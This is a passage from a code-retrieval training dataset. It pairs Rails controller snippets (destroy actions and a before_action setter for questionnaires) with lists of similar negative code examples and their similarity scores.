@question.update(question_params)\n format.js\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @examquestion.update(examquestion_params)\n format.html { redirect_to @examquestion, notice: 'Examquestion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @examquestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\tquestion_param = question_params.merge(:words => in_words(question_params[\"answer\"].to_i))\n\trespond_to do |format|\n if @question.update(question_param)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\t\n end", "def update\n check_delete_flg\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @test_question.update(test_question_params)\n format.html { redirect_to @test_question, notice: 'Test question was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_question }\n else\n format.html { render :edit }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @questionset.update(questionset_params)\n format.html { redirect_to @questionset, notice: 'Questionset was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionset }\n else\n format.html { render :edit }\n format.json { render json: @questionset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @practice.update(practice_params)\n format.html { redirect_to new_question_path(practice_id: @practice.id), notice: 'Practice was successfully updated.' }\n format.json { render :show, status: :ok, location: @practice }\n else\n format.html { render :edit }\n format.json { render json: @practice.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @answer.update(answer_params)\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @admin_academy_question.update(admin_academy_question_params)\n format.html { redirect_to @admin_academy_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_academy_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Respuesta actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, @admin_question\n\n respond_to do |format|\n if @admin_question.update(admin_question_params)\n format.html { redirect_to @admin_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @quizzes_question.update(quizzes_question_params)\n if params[:commit] =~ /add/i\n format.html { redirect_to edit_quiz_question_path(@question.quiz, @question) }\n else\n format.html { redirect_to quiz_questions_path(@question.quiz), notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @quizzes_question }\n end\n else\n format.html { render :edit }\n format.json { render json: @quizzes_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question_learned.update(question_learned_params)\n format.html { redirect_to @question_learned, notice: 'Question learned was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question_learned.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @add_question.update(add_question_params)\n format.html { redirect_to @add_question, notice: 'Add question was successfully updated.' }\n format.json { render :show, status: :ok, location: @add_question }\n else\n format.html { render :edit }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question_answer = Question::Answer.find(params[:id])\n\n respond_to do |format|\n if @question_answer.update_attributes(params[:question_answer])\n format.html { redirect_to @question_answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_answer.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.70384896", "0.69516647", "0.6948583", "0.6902964", "0.68503", "0.6789693", "0.67585784", "0.6736368", "0.67278576", "0.6726722", "0.67096454", "0.66641563", "0.66607726", "0.6659296", "0.6650957", "0.66421586", "0.66157824", "0.66145205", "0.6610917", "0.6610917", "0.6610917", "0.6610917", "0.6610917", "0.6610119", "0.6603753", "0.6589347", "0.6572827", "0.65677136", "0.656101", "0.656101", "0.656101", "0.65591735", "0.6542089", "0.6540217", "0.6518775", "0.6504986", "0.6497201", "0.6494655", "0.64918816", "0.648523", "0.64620745", "0.6458029", "0.64355594", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6434499", "0.6429032", "0.6423688", "0.64105344", "0.6408635", "0.64062", "0.6405508", "0.6381604", "0.63793474", "0.63745904", "0.6369485", "0.6365894", "0.6362256", "0.6359155", "0.6357764", "0.63458586", "0.63448524", "0.63401854", "0.6327139", "0.6324354", "0.6319573", "0.6315525", "0.63135767", "0.63028276", "0.6295542", "0.62914294", "0.62865883", "0.627586", "0.62732893", "0.62696517", "0.62676203", "0.62671584", "0.6263282", "0.62627137", "0.6258335", "0.6255656", "0.6247459", "0.62402594", "0.62400424", "0.6239901" ]
0.65047455
36
DELETE /questionnaires/1 DELETE /questionnaires/1.json
def destroy @questionnaire.destroy respond_to do |format| format.html { redirect_to questionnaires_url, notice: 'Тест успешно удален.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: 'Questionnaire was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: \"Questionnaire was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n authorize! :destroy, @questionnaire\n\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @v1_question.destroy\n render json: {'message': 'Deleted question successfully'}, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n\n end", "def delete_question\n question_params = params.permit(:id, :form_id, :question_type_id)\n\n render json: Question.delete_question(question_params)\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tutorial_quest = Tutorial::Quest.find(params[:id])\n @tutorial_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'La pregunta ha sido eliminada!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy \n respond_to do |format|\n format.html { redirect_to company_questionnaires_path(@company), notice: 'Questionnaire was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #@question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url(:project_id =>@questionnaire.project_id) }\n format.json { head :no_content }\n format.js {}\n end\n end", "def destroy\n @questionable = @question.questionable\n @question.destroy\n respond_to do |format|\n format.html\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_question.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #na real, cada question pertence a um quiz, basta achar a question de mesma id\n @qq = QuizQuestion.where(question: @question)\n @qq.destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_url(params[:survey_id]) }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to admin_questions_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_question = MyQuestion.find(params[:id])\n @my_question.destroy\n\n respond_to do |format|\n format.html { redirect_to my_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionset = Questionset.find(params[:id])\n @questionset.destroy\n\n respond_to do |format|\n format.html { redirect_to questionsets_url }\n format.json { head :no_content }\n end\n end", "def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n\tend", "def destroy\n @question_learned.destroy\n respond_to do |format|\n format.html { redirect_to question_question_learneds_path(@question) }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_question = TestQuestion.find(params[:id])\n @test_question.destroy\n\n respond_to do |format|\n format.html { redirect_to test_questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to quiz_path(@question.subsection_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_answer = Question::Answer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to paper_questions_path, notice: '題目已被成功刪除' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @completed_quest = CompletedQuest.find(params[:id])\n @completed_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to completed_quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey.destroy\n respond_to do |format|\n format.html { redirect_to surveys_url, notice: \"Le questionnaire vient d'être détruit.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @argumentative_question.destroy\n respond_to do |format|\n format.html { redirect_to argumentative_questions_url, notice: 'Pregunta eliminada.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_set = QuestionSet.find(params[:id])\n @question_set.destroy\n\n respond_to do |format|\n format.html { redirect_to question_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @quiz.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n return\n @quest.destroy\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to admin_form_questions_path, notice: 'Вопрос успешно удалена' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnairedetail.destroy\n respond_to do |format|\n format.html { redirect_to questionnairedetails_url, notice: 'Questionnairedetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionario_resposta.destroy\n respond_to do |format|\n format.html { redirect_to questionarios_respostas_url, notice: 'Questionario resposta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_datum = QuestionDatum.find(params[:id])\n @question_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to question_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n @multiple_choice_question.destroy\n\n respond_to do |format|\n format.html { redirect_to multiple_choice_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Answer deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '質問を削除しました' }\n format.json { head :no_content }\n end\n end", "def destroy\n @b_question.destroy\n respond_to do |format|\n format.html { redirect_to questions_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: '質問を削除しました' }\n format.json { head :no_content }\n end\n end", "def delete\n question = QuestionTest.where(test_id: params[:test_id], question_id: params[:id])\n if question.delete_all\n return render json: {message: 'Question was removed succesfully.', error: false}\n else\n return render json: {message: 'Error: Something went wrong. Question was not removed.', error: true}\n end\n end", "def destroy\n answer = Answer.find(params[:answer_id])\n answer.destroy\n \n render json: {success: true}\n end", "def destroy\n @quest_item.destroy\n respond_to do |format|\n format.html { redirect_to admin_quest_items_url, notice: 'Всё норм' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questao.destroy\n respond_to do |format|\n format.html { redirect_to questaos_url, notice: 'Questao was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @quest.destroy\n respond_to do |format|\n format.html { redirect_to quests_url, notice: 'Quest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # before_action :set_question\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: \"質問を削除しました\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n head :no_content\n end", "def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_field = QuestionField.find(params[:id])\n @question_field.destroy\n\n respond_to do |format|\n format.html { redirect_to question_fields_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @quiz_answer.destroy\n respond_to do |format|\n format.html { redirect_to quiz_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_response = QuestionResponse.find(params[:id])\n @question_response.destroy\n\n respond_to do |format|\n format.html { redirect_to question_responses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_answer.destroy\n respond_to do |format|\n format.html { redirect_to tipo_answers_url, notice: 'Tipo answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionstatu.destroy\n respond_to do |format|\n format.html { redirect_to questionstatus_index_path, notice: 'Mytest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to category_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @base_question = BaseQuestion.find(params[:id])\n @base_question.destroy\n\n respond_to do |format|\n format.html { redirect_to base_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionset.destroy\n respond_to do |format|\n format.html { redirect_to questionsets_url, notice: 'Questionset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\[email protected]\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to questionaries_url, notice: 'Questionary was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def destroy\n\n @m_answer.destroy\n respond_to do |format|\n format.html { redirect_to m_question_path(@m_question) }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @question.destroy\n \n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'DNS was successfully removed.' }\n format.json { head :no_content }\n \nend\n end", "def destroy\n\t\t#@answer.destroy\n\t\t#respond_to do |format|\n\t\t#\tformat.html { redirect_to answers_url }\n\t\t#\tformat.json { head :no_content }\n\t\t#end\n\n\tend", "def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to(quests_url) }\n format.xml { head :ok }\n end\n end", "def destroy_rest\n @question_localized = QuestionLocalized.find(params[:id])\n @question_localized.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_localizeds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_question = SurveyQuestion.find(params[:id])\n @survey_question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_questions_url }\n # format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.78990173", "0.7862867", "0.7862867", "0.75283194", "0.7526599", "0.749106", "0.7443345", "0.74232304", "0.7396388", "0.73805773", "0.7351647", "0.73419195", "0.73237777", "0.7314943", "0.7314943", "0.7314943", "0.7314943", "0.7314943", "0.7314943", "0.7313181", "0.7301081", "0.7289828", "0.7288694", "0.72809744", "0.727919", "0.72781026", "0.727731", "0.727731", "0.727731", "0.727731", "0.727731", "0.727731", "0.727658", "0.7276561", "0.72683316", "0.72683316", "0.72586685", "0.72562575", "0.7254514", "0.7253869", "0.72497725", "0.72197783", "0.721869", "0.7209112", "0.7185329", "0.71849746", "0.7183186", "0.71808684", "0.71799976", "0.7174655", "0.7174655", "0.71732694", "0.7172246", "0.7171663", "0.7152516", "0.71442765", "0.71397614", "0.713858", "0.71383023", "0.71366376", "0.7132802", "0.7125674", "0.7125396", "0.7119187", "0.71156144", "0.7114107", "0.7109989", "0.7105288", "0.7100895", "0.70895535", "0.7081877", "0.70788497", "0.70731", "0.7068842", "0.7067744", "0.70671666", "0.7060483", "0.7060483", "0.70586026", "0.7049008", "0.7045102", "0.70443743", "0.70438796", "0.7038728", "0.70315826", "0.7030884", "0.7024626", "0.7024626", "0.7019457", "0.7016168", "0.7014314", "0.7010784", "0.7008746", "0.70072836", "0.70048094", "0.70048094", "0.70048094", "0.70048094", "0.70048094", "0.70048094" ]
0.7657406
3
Use callbacks to share common setup or constraints between actions.
def set_questionnaire @questionnaire = Questionnaire.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n 